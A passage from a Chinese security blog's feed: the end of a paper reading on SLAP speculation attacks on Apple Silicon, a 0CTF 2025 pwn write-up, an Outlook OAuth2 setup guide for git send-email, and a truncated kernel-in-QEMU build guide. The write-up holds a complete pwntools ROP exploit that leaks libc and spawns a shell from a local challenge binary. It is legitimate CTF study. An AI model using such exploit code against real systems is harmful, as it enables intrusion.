的基础上进行修改,增加一些空转指令来测量侧信道的时间窗口</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222132319623.png"></p><p>论文分别测量了在 Line 3 和 Line 7 插入 <code>mul</code> 的结果:</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222132442035.png"></p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222132504082.png"></p><h1 id="weaponizing-the-lap-for-attacks">Weaponizing the LAP forAttacks</h1><p>这里介绍了两种基于 LAP 的攻击方法</p><h2 id="spectre-lap">Spectre-LAP</h2><p>回顾之前访问 <code>Secret</code> 的方法, 使用如下的结构和代码,造成了一个 8 字节的越界读.</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222155724873.png"></p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222155530440.png"></p><h2 id="hijacking-control-flow">Hijacking Control Flow</h2><p>用调用函数替代数据的访问, 来测试 LAP 是否会同样进行预测</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222155712658.png"></p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222155833814.png"></p><h2 id="breaking-aslr-on-macos">Breaking ASLR on macOS</h2><p>在 macOS 的内核 XNU 中, 其二进制入口点会在一个固定的区间上,并且在头部存在一个 magic bytes:<code>0xfeedfacf</code>.在不同的页上搜寻这串魔数, 就能绕过 ASLR.</p><p>下表是论文中对三种攻击的成功率统计</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251222160834313.png"></p><h1 id="references">References</h1><ol type="1"><li><a href="https://zhuanlan.zhihu.com/p/561643046">https://zhuanlan.zhihu.com/p/561643046</a></li><li><a href="https://en.wikipedia.org/wiki/Branch_predictor">https://en.wikipedia.org/wiki/Branch_predictor</a></li><li><a href="https://eprint.iacr.org/2013/448.pdf">FLUSH+RELOAD: a highresolution, low noise, L3 cache side-channel attack</a></li><li><a href="https://mstmoonshine.github.io/p/flush-reload/">https://mstmoonshine.github.io/p/flush-reload/</a></li></ol>]]></content>
<summary type="html"><h1 id="paper-reading-slap-data-speculation-attacks-via-load-address-prediction-on-apple-silicon">Paper
reading: <em>SLAP: Data Speculation Attacks via Load Address Prediction
on Apple Silicon</em></h1></summary>
<category term="Study" scheme="http://summ2.link/categories/Study/"/>
<category term="Side Channel Attack" scheme="http://summ2.link/tags/Side-Channel-Attack/"/>
<category term="Load Address Prediction" scheme="http://summ2.link/tags/Load-Address-Prediction/"/>
<category term="Paper Reading" scheme="http://summ2.link/tags/Paper-Reading/"/>
</entry>
<entry>
<title>0CTF 2025 Writeup</title>
<link href="http://summ2.link/categories/CTF/0ctf2025/"/>
<id>http://summ2.link/categories/CTF/0ctf2025/</id>
<published>2025-12-21T16:00:00.000Z</published>
<updated>2025-12-21T16:00:00.000Z</updated>
<content type="html"><![CDATA[<p>赛时做了一题, 总觉得自己越来越没有心力和时间投入 CTF 了...<span id="more"></span></p><h1 id="easypwn">easypwn</h1><h2 id="checksec">checksec</h2><p><img src="/20251222-0CTF-2025-Writeup/image-20251222100839680.png"></p><hr><p>为了提高可读性, 在 IDA 中修改了一些变量和函数名.</p><p>根据程序逻辑, 或者观察输入输出可以发现这是一个大数计算器, 支持<code>+ - * / ( )</code> 和十进制数字的输入.</p><p>程序有一个操作是将栈指针放入堆中</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222101405347.png"></p><p>且有对其的自增、自减操作:</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222101449248.png"></p><p>很遗憾这里限制在了 <code>DWORD</code>, 所以并没有实际的栈溢出问题,不过存在整数的上溢和下溢.</p><p>一开始我并没有找到可利用的漏洞点, 不过由于本题的输入非常结构化,我们可以考虑对其 fuzzing.</p><p>大约 20 分钟后, 确实找到了一些可引起 crash 的输入:</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222102013833.png"></p><p>使用 <code>casr-cli</code>, 得到了一些有趣的分析结果:</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222102149264.png"></p><p>着重对 <code>ReturnAv</code> 的 case 进行分析.先将这几组输入在 gdb 中复现一遍,发现程序出现了返回地址非法引起的段错误</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222102415492.png"></p><h2 id="vulnerabilities">Vulnerabilities</h2><p>调试发现,这是由于在 <code>main</code> 中程序尝试将计算结果写回到栈中时,对指针的自增操作缺乏边界检查, 导致了栈溢出:</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222102648710.png" alt="Local variables"> <img src="/20251222-0CTF-2025-Writeup/image-20251222102848278.png"><img src="/20251222-0CTF-2025-Writeup/image-20251222102728021.png"></p><h2 id="exploit">Exploit</h2><p>接下来的工作就是如何找到哪个输入影响到了返回地址,已知如下的输入可以产生溢出</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/*/1/*//1111111111</span><br></pre></td></tr></tbody></table></figure><p><img src="/20251222-0CTF-2025-Writeup/image-20251222103248571.png"></p><p>观察到这里只有 <code>*</code> 和 <code>/</code>,我们猜测程序进行了乘除相关的运算. 为了方便验证,可以把上面的大数换成相近的以 2 为底的指数.</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1119872371088902105278721140284222139060822748617324767449994550481895935590080472690438746635803557888/*/1/*//1073741824</span><br></pre></td></tr></tbody></table></figure><p><img src="/20251222-0CTF-2025-Writeup/image-20251222103436425.png"></p><p>很明显这里的地址部分位也变得 <code>2^n</code> 对齐了,接下来尝试增大第一个大数的位数.</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">2582249878086908589655919172003011874329705792829223512830659356540647622016841194629645353280137831435903171972747493376/*/1/*//1073741824</span><br></pre></td></tr></tbody></table></figure><p><img src="/20251222-0CTF-2025-Writeup/image-20251222103710233.png"></p><p>注意到第一个大数增大后, 溢出修改到的位置也更高了,并且直接由我们的输入决定. 所以, 我们只需要找到溢出是从哪一位开始的.</p><p>例如, 令第一个大数为这样的随机十六进制数:<code>0x1beacaaeaaeebaecfecdccddfdfebbfecabaeaccfeadafcbabfaccfeaeafaadbabcfeacdfbaaaacdfbaebfbcaadfccbaaebab</code></p><p>从而得到输入:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">4505566911037959143315498166383803793144684411847119861693784392667451435154625739231718365669889945682659227170528488363/*/1/*//1073741824</span><br></pre></td></tr></tbody></table></figure><p><img src="/20251222-0CTF-2025-Writeup/image-20251222104309372.png"></p><p>这样就确认了溢出是从哪里开始的.</p><p><img src="/20251222-0CTF-2025-Writeup/image-20251222104128232.png"></p><p>同时也观察到高位被写入到了返回地址的后面,也就是我们得到了进行栈溢出执行 ROP 的方法.</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.terminal = [<span class="string">'konsole'</span>, <span class="string">'-e'</span>, <span class="string">'sh'</span>, <span class="string">'-c'</span>]</span><br><span class="line">context(arch = <span class="string">'amd64'</span>,os = <span class="string">'linux'</span>,log_level = <span class="string">'debug'</span>)</span><br><span class="line">p = process(<span class="string">"./pwn"</span>)</span><br><span class="line">DEBUG = <span class="string">'p'</span> <span class="keyword">in</span> sys.argv</span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line"> gdb.attach(p)</span><br><span class="line">libc = ELF(<span class="string">"./libc.so.6"</span>)</span><br><span class="line">elf = ELF(<span class="string">"./pwn"</span>)</span><br><span class="line">print_plt=elf.plt[<span class="string">'__printf_chk'</span>]</span><br><span class="line">print_got=elf.got[<span class="string">'__printf_chk'</span>]</span><br><span class="line"></span><br><span class="line">plt = <span class="built_in">hex</span>(print_plt)[<span class="number">2</span>:].rjust(<span class="number">16</span>,<span class="string">'0'</span>)</span><br><span class="line">got = <span class="built_in">hex</span>(print_got)[<span class="number">2</span>:].rjust(<span class="number">16</span>,<span class="string">'0'</span>)</span><br><span class="line"></span><br><span class="line">pop_rdi_ret = <span class="string">"00000000004026b1"</span></span><br><span class="line">pop_rsi_ret = <span class="string">"0000000000402818"</span></span><br><span class="line">main_start = <span class="string">"00000000004012f0"</span></span><br><span class="line">ret = <span class="string">"000000000040101a"</span></span><br><span class="line"></span><br><span class="line">bin_sh = <span class="number">0x00000000001cb42f</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#main_start + ret + plt + got + pop rsi + 2 + pop rdi + ret + padding</span></span><br><span class="line">padding = <span class="string">"afecbbafdbfbafeaaabcfcccedabdbbececbaecfcfcbeaaaeeedbbabafeecaabbcaffcbdeabaaaac"</span></span><br><span class="line">string = <span class="string">"0x1"</span> + main_start + ret + plt + got + pop_rsi_ret + <span class="string">"0000000000000002"</span> + pop_rdi_ret + ret + padding</span><br><span class="line"><span class="built_in">print</span>(string)</span><br><span class="line"></span><br><span class="line">payload = <span class="built_in">str</span>(<span class="built_in">int</span>(string,<span class="number">16</span>)) + <span class="string">'/*/1/*//'</span> + <span class="built_in">str</span>(<span class="number">16</span>**<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(payload)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.recvline()</span><br><span class="line"></span><br><span class="line">recv = p.recvuntil(<span class="string">b'>'</span>)</span><br><span class="line">printf_off = u64(recv[:-<span class="number">1</span>].ljust(<span class="number">8</span>,<span class="string">b'\0'</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(printf_off))</span><br><span class="line"></span><br><span class="line">libc_base = printf_off-libc.sym[<span class="string">'__printf_chk'</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#system + bin_sh + pop_rdi + ret + padding</span></span><br><span class="line">bin_sh = <span class="built_in">hex</span>(bin_sh + libc_base)[<span class="number">2</span>:].rjust(<span class="number">16</span>,<span class="string">'0'</span>)</span><br><span class="line">sys=<span class="built_in">hex</span>(libc_base + libc.sym[<span class="string">'system'</span>])[<span class="number">2</span>:].rjust(<span class="number">16</span>,<span class="string">'0'</span>)</span><br><span class="line"></span><br><span class="line">string = <span class="string">"0x1"</span> + sys + bin_sh + pop_rdi_ret + ret + padding</span><br><span class="line"></span><br><span class="line">payload = <span class="built_in">str</span>(<span class="built_in">int</span>(string,<span class="number">16</span>)) + <span class="string">'/*/1/*//'</span> + <span class="built_in">str</span>(<span class="number">16</span>**<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(payload)</span><br><span class="line"></span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure>]]></content>
<summary type="html"><p>赛时做了一题, 总觉得自己越来越没有心力和时间投入 CTF 了...</summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="fuzz" scheme="http://summ2.link/tags/fuzz/"/>
<category term="debug" scheme="http://summ2.link/tags/debug/"/>
</entry>
<entry>
<title>git send-email 配置 Outlook 邮箱</title>
<link href="http://summ2.link/categories/%E6%97%A5%E5%B8%B8/git-outlook/"/>
<id>http://summ2.link/categories/%E6%97%A5%E5%B8%B8/git-outlook/</id>
<published>2025-11-27T16:00:00.000Z</published>
<updated>2025-11-27T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="git-send-email">git send-email</h1><p>当我们想发送一个 patch 时, 一般会使用 <code>git send-email</code>,可以方便地把邮件发送给开发者.</p><span id="more"></span><h1 id="how-to-use">How to use</h1><p>如果你使用的是 Gmail, 那么随便在上网找一篇文章跟着配置即可:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git config --global sendemail.smtpencryption tls</span><br><span class="line">git config --global sendemail.smtpserver smtp.gmail.com</span><br><span class="line">git config --global sendemail.smtpuser your-email@gmail.com</span><br><span class="line">git config --global sendemail.smtppass <span class="string">"your-application-specific-password"</span></span><br></pre></td></tr></tbody></table></figure><h1 id="与此同时-另外一边">与此同时, 另外一边</h1><p>借助 SMTP, 我们可以很容易通过 <code>git send-email</code> 直接发送邮件.然而 Microsoft Outlook 为了安全性, 使用了更现代的 OAuth2 方法</p><p><img src="/20251128-git-send-email-配置-Outlook-邮箱/image-20251128124337865.png"></p><p>然而, git 显然不支持这样的验证方式.所以如果没有必须使用 Outlook 的需求或者某种强迫症,请使用 <strong>Gmail</strong>.</p><h2 id="配置msmtp">配置 msmtp</h2><p>为了使用 Outlook 的 SMTP, 我们先使用一个支持 OAuth2 的 SMTP Client:msmtp.</p><p>修改<code>~/.msmtprc</code>:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"># Default settings</span><br><span class="line">defaults</span><br><span class="line">auth on</span><br><span class="line">tls on</span><br><span class="line">tls_trust_file /etc/ssl/certs/ca-certificates.crt</span><br><span class="line">logfile ~/.msmtp.log</span><br><span class="line"></span><br><span class="line"># Outlook account with OAuth2</span><br><span class="line">account outlook</span><br><span class="line">host smtp.office365.com</span><br><span class="line">port 587</span><br><span class="line">auth xoauth2</span><br><span class="line">from example@outlook.com</span><br><span class="line">user example@outlook.com</span><br><span class="line">passwordeval ""</span><br><span class="line"></span><br><span class="line"># Set default account</span><br><span class="line">account default : outlook</span><br></pre></td></tr></tbody></table></figure><h2 id="oauth2">OAuth2</h2><p>作为已经吃过 Microsoft ADFS 这坨的人来说,看见 OAuth2 还是有点莫名其妙的 ptsd :(</p><h3 id="authorization-grant">Authorization Grant</h3><p>目前常见的 OAuth2 授权方式, 一般都是 Authorization Code. 简单地说,我们会向负责 OAuth 认证的 Endpoint 发起请求.</p><p>这个请求 (Header/Body) 中包含下列的参数:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">response_type</span><br><span class="line"> REQUIRED. Value MUST be set to "code".</span><br><span class="line"> </span><br><span class="line">client_id</span><br><span class="line"> REQUIRED. The client identifier as described in Section 2.2.</span><br><span class="line"> </span><br><span class="line">redirect_uri</span><br><span class="line"> OPTIONAL. As described in Section 3.1.2.</span><br><span class="line"> </span><br><span class="line">scope</span><br><span class="line"> OPTIONAL. The scope of the access request as described by</span><br><span class="line"> Section 3.3.</span><br><span class="line"> </span><br><span class="line">state</span><br><span class="line"> RECOMMENDED. An opaque value used by the client to maintain</span><br><span class="line"> state between the request and callback. The authorization</span><br><span class="line"> server includes this value when redirecting the user-agent back</span><br><span class="line"> to the client. The parameter SHOULD be used for preventing</span><br><span class="line"> cross-site request forgery as described in Section 10.12.</span><br></pre></td></tr></tbody></table></figure><p>然后, 我们会在这个熟悉的界面完成认证过程</p><p><img src="/20251128-git-send-email-配置-Outlook-邮箱/image-20251128141651239.png"></p><p>登录完成后, 浏览器会被重定向到 <code>redirect_uri</code>,URL 中包含一个 <code>code</code>, 其有效期一般为 10 分钟.</p><h3 id="access-token">Access Token</h3><blockquote><p>Access tokens are credentials used to access protected resources.</p></blockquote><p>有了上面的 <code>code</code>, 我们就可以去请求 Token endpoint,获取访问 SMTP 所需的 Access Token 了.</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">grant_type</span><br><span class="line"> REQUIRED. Value MUST be set to "authorization_code".</span><br><span class="line"></span><br><span class="line">code</span><br><span class="line"> REQUIRED. The authorization code received from the</span><br><span class="line"> authorization server.</span><br><span class="line"></span><br><span class="line">redirect_uri</span><br><span class="line"> REQUIRED, if the "redirect_uri" parameter was included in the</span><br><span class="line"> authorization request as described in Section 4.1.1, and their</span><br><span class="line"> values MUST be identical.</span><br><span class="line"></span><br><span class="line">client_id</span><br><span class="line"> REQUIRED, if the client is not authenticating with the</span><br><span class="line"> authorization server as described in Section 3.2.1.</span><br></pre></td></tr></tbody></table></figure><h3 id="refresh-token">Refresh Token</h3><p>一切顺利的话, 我们会得到 Access Token, 以及一个长期有效的 RefreshToken:</p><figure class="highlight json"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">An example successful response<span class="punctuation">:</span></span><br><span class="line"></span><br><span class="line"> HTTP/<span class="number">1.1</span> <span class="number">200</span> OK</span><br><span class="line"> Content-Type<span class="punctuation">:</span> application/json;charset=UTF<span class="number">-8</span></span><br><span class="line"> Cache-Control<span class="punctuation">:</span> no-store</span><br><span class="line"> Pragma<span class="punctuation">:</span> no-cache</span><br><span class="line"></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"access_token"</span><span class="punctuation">:</span><span class="string">"2YotnFZFEjr1zCsicMWpAA"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"token_type"</span><span class="punctuation">:</span><span class="string">"example"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"expires_in"</span><span class="punctuation">:</span><span class="number">3600</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"refresh_token"</span><span class="punctuation">:</span><span class="string">"tGzv3JOkF0XG5Qx2TlKWIA"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"example_parameter"</span><span class="punctuation">:</span><span class="string">"example_value"</span></span><br><span class="line"> <span class="punctuation">}</span></span><br></pre></td></tr></tbody></table></figure><p>使用 Refresh Token, 我们就可以长时间地维持认证状态,并在需要时获取 Access Token 了.</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">grant_type</span><br><span class="line"> REQUIRED. Value MUST be set to "refresh_token".</span><br><span class="line"></span><br><span class="line">refresh_token</span><br><span class="line"> REQUIRED. The refresh token issued to the client.</span><br><span class="line"></span><br><span class="line">scope</span><br><span class="line"> OPTIONAL. The scope of the access request as described by</span><br><span class="line"> Section 3.3. The requested scope MUST NOT include any scope</span><br><span class="line"> not originally granted by the resource owner, and if omitted is</span><br><span class="line"> treated as equal to the scope originally granted by the</span><br><span class="line"> resource owner.</span><br></pre></td></tr></tbody></table></figure><p>可选地, 服务器可能会返回一个新的 Refresh Token.</p><h2 id="配置oauth2">配置 Oauth2</h2><p>听起来挺麻烦的, 幸运的是我们有开源脚本: <a href="https://github.com/UvA-FNWI/M365-IMAP">https://github.com/UvA-FNWI/M365-IMAP</a></p><p>在上方的 msmtp 配置中填入:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">passwordeval "cd path/to/repo && python3 refresh_token.py"</span><br></pre></td></tr></tbody></table></figure><p>首次运行时, 手动运行一遍 <code>get_token.py</code> 即可.</p><h1 id="发送e-mail">发送 E-mail</h1><p>接下来 git 就可以专心完成他的工作了</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sendemail.smtpserver=/usr/bin/msmtp</span><br><span class="line">sendemail.smtpserverport=587</span><br><span class="line">sendemail.smtpencryption=tls</span><br><span class="line">sendemail.smtpuser=example@outlook.com</span><br></pre></td></tr></tbody></table></figure><h1 id="references">References</h1><ol type="1"><li><a href="https://datatracker.ietf.org/doc/html/rfc6749">https://datatracker.ietf.org/doc/html/rfc6749</a></li></ol>]]></content>
<summary type="html"><h1 id="git-send-email">git send-email</h1>
<p>当我们想发送一个 patch 时, 一般会使用 <code>git send-email</code>,
可以方便地把邮件发送给开发者.</p></summary>
<category term="日常" scheme="http://summ2.link/categories/%E6%97%A5%E5%B8%B8/"/>
<category term="OAuth" scheme="http://summ2.link/tags/OAuth/"/>
<category term="git" scheme="http://summ2.link/tags/git/"/>
</entry>
<entry>
<title>Linux Kernel: build, boot and debug in QEMU</title>
<link href="http://summ2.link/categories/Study/kernel-build/"/>
<id>http://summ2.link/categories/Study/kernel-build/</id>
<published>2025-10-31T16:00:00.000Z</published>
<updated>2025-10-31T16:00:00.000Z</updated>
<content type="html"><![CDATA[<p>一次内核编译到运行的尝试</p><h1 id="编译内核">编译内核</h1><h2 id="拉取源码">拉取源码</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git <span class="built_in">clone</span> git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git</span><br></pre></td></tr></tbody></table></figure><span id="more"></span><h2 id="调整配置">调整配置</h2><p>为了让 gdb 可以调试内核并加载符号, 需要更改一些编译选项.</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ make menuconfig</span><br><span class="line">Kernel hacking ---></span><br><span class="line"> [*] Kernel debugging</span><br><span class="line"> Compile-<span class="keyword">time</span> checks and compiler options ---></span><br><span class="line"> Debug information (Rely on the toolchain<span class="string">'s implicit default DWARF version)</span></span><br><span class="line"><span class="string"> [*] Provide GDB scripts for kernel debugging</span></span><br></pre></td></tr></tbody></table></figure><h2 id="编译">编译</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ make -j$(<span class="built_in">nproc</span>)</span><br><span class="line">$ make bzImage</span><br></pre></td></tr></tbody></table></figure><h1 id="内核启动流程">内核启动流程</h1><p>我们并不需要弄清楚启动过程的所有细节,这里只简略介绍以便于解释后文的操作</p><h2 id="kernel-initialization">Kernel Initialization</h2><p>这个阶段内核会将映像自解压到内存中, 并且进行硬件相关的初始化,设置中断处理 (interrupt handling)、内存管理 (memory management),挂载根文件系统 (/) 或者初始 RAM 磁盘 (initrd), 加载驱动.</p><h2 id="init-process">Init process</h2><p>内核初始化后, 就会准备我们所熟悉的用户空间 (Userspace) 的初始化.</p><p>事实上内核会执行 <code>/sbin/init</code>, <code>/etc/init</code> 或initramfs/initrd 中指定的第一个用户空间程序 (通常是 Systemd、SysVinit 或OpenRC), 作为用户空间中的第一个进程 (PID=1),当然它可以是任何可执行的文件, 包括 shell script.</p><h1 id="使用qemu运行内核">使用 QEMU 运行内核</h1><h2 id="构建rootfs">构建 rootfs</h2><p>根文件系统遵循 <a href="https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard">https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard</a>,这里使用 Arch Linux 的 <code>pacstrap</code> 来构建一个较简单的 rootfs:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"></span><br><span class="line">ROOTFS_DIR=<span class="string">"test_kernel/arch_full_rootfs"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -d <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">sudo</span> <span class="built_in">rm</span> -rf <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> pacstrap -K -c <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span> \</span><br><span class="line"> base \</span><br><span class="line"> linux-firmware \</span><br><span class="line"> bash \</span><br><span class="line"> coreutils \</span><br><span class="line"> util-linux \</span><br><span class="line"> procps-ng \</span><br><span class="line"> iproute2 \</span><br><span class="line"> iputils \</span><br><span class="line"> net-tools \</span><br><span class="line"> vim \</span><br><span class="line"> nano \</span><br><span class="line"> less \</span><br><span class="line"> grep \</span><br><span class="line"> sed \</span><br><span class="line"> gawk \</span><br><span class="line"> tar \</span><br><span class="line"> gzip \</span><br><span class="line"> <span class="built_in">which</span> \</span><br><span class="line"> man-db \</span><br><span class="line"> man-pages</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> arch-chroot <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span> passwd -d root</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">tee</span> <span class="string">"<span 